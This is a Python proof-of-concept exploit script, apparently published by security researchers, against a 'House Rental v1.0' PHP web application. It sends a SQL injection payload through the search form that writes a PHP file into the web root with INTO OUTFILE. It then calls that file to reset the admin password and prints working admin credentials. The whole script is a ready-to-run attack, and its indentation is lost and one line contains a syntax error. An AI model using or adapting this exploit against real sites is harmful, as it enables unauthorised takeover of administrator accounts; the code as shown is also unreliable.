import requests, sys, re, json
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
ok = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0]
err= S[3]+F[2]+'<========'+F[2]+'('+F[5]+'+++'+F[2]+'( '+F[0]+S[0]
def sig():
SIG= F[2]+".-----.._ ,--."+F[5]+".__.__________\n"
SIG += F[2]+"|..>"+F[4]+"___"+F[2]+" || .--. "+F[5]+"||__ ___.__. __| _\\_____\\______ ________\n"
SIG += F[2]+"||.','"+F[4]+"-'"+F[2]+"* *"+F[4]+"'-."+F[2]+" |//__ __ "+F[5]+"||< ||/ __ |_(__< /____/ __ _/ ___\\\n"
SIG += F[2]+"|<"+F[4]+"/ "+F[2]+"***"+F[4]+" \\ "+F[2]+"/ \\/ \\"+F[5]+"| Y\\___/ /_/ | / \\\\___ \\\\___\\\\___\n"
SIG += F[2]+"||> ) "+F[2]+"* *"+F[4]+" /"+F[2]+"\\\\ "+F[5]+"|___|/ ____\____ |/______/____>\\___\\___>\n"
SIG += F[2]+"|____..- "+F[4]+"'-.._..-'"+F[2]+"_|\\___|._..\\___\\"+F[5]+" \\/\\/ \\/ \\/ \\/ \\/\\/\n"
SIG += F[2]+""+F[2]+"_______github.com/boku7_____"+F[5]+" _______github.com/hyd3sec____\n_"+F[0]+S[0]
return SIG
def header():
head = S[3]+F[2]+' ---House Rental v1.0 | SQL Injection - Change Admin Password ---\n'+S[0]
return head
def formatHelp(STRING):
return S[3]+F[2]+STRING+S[0]
if __name__ == "__main__":
print(header())
print(sig())
if len(sys.argv) != 2:
print(err+formatHelp("Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))
print(err+formatHelp("Example:\t python %s 'http://172.16.65.130/home-rental/'" % sys.argv[0]))
sys.exit(-1)
SERVER_URL= sys.argv[1]
if not re.match(r".*/$", SERVER_URL):
SERVER_URL = SERVER_URL+'/'
INDEX_URL = SERVER_URL + 'index.php'
EXECUTE_URL = SERVER_URL + 'execute.php'
LOGIN_URL = SERVER_URL + 'auth/login.php'
s = requests.Session()
get_session = s.get(INDEX_URL, verify=False)
pdata = {'keywords':'1337\') UNION SELECT all \'1,UPDATED,ADMIN,PASSWORD,TO,boku,aaaaaa,city,landmark,rent,deposit,plotnum,apartName,aptNum,rooms,floor,purpose,own,area,address,accomd,<?php require "config/config.php";$stmt=$connect->prepare("UPDATE users set password=\\\'17d8e2e8233d9a6ae428061cb2cdf226\\\' WHERE username=\\\'admin\\\'");$stmt->execute();?>,image,open,other,1,2020-08-01 14:42:11,2020-08-01 14:42:11,1\' into OUTFILE \'../../htdocs/home-rental/execute.php\' -- boku', 'location':'','search':'search'}
SQLi= s.post(url=INDEX_URL, data=pdata, verify=False)
if SQLi.status_code == 200:
print(ok+"Sent "+F[2]+S[3]+"SQL Injection"+F[0]+S[0]+" POST Request to "+F[5]+S[3]+INDEX_URL+F[0]+S[0]+" with "+F[2]+S[2]+"payload"+F[0]+S[0]+":")
print(S[3]+F[2]+json.dumps(pdata, sort_keys=True, indent=4)+F[0]+S[0])
else:
print(err+'Cannot send payload to webserver.')
sys.exit(-1)
try:
print(ok+"Executing "+F[2]+S[3]+"SQL Injection"+F[0]+S[0]+" payload to change "+F[2]+S[2]+"admin password"+F[0]+S[0])
EXECUTE = s.get(url=EXECUTE_URL, verify=False)
except:
print(err+'Failed to connect to '++F[2]+S[3]+EXECUTE_URL+F[0]+S[0]+'to execute payload')
sys.exit(-1)
print(ok+F[2]+S[3]+"SQL Injection payload executed!"+F[0]+S[0])
print(ok+F[2]+S[3]+"Login at "+F[5]+S[3]+LOGIN_URL+F[0]+S[0]+" with creds: "+F[2]+S[2]+"admin:boku"+F[0]+S[0])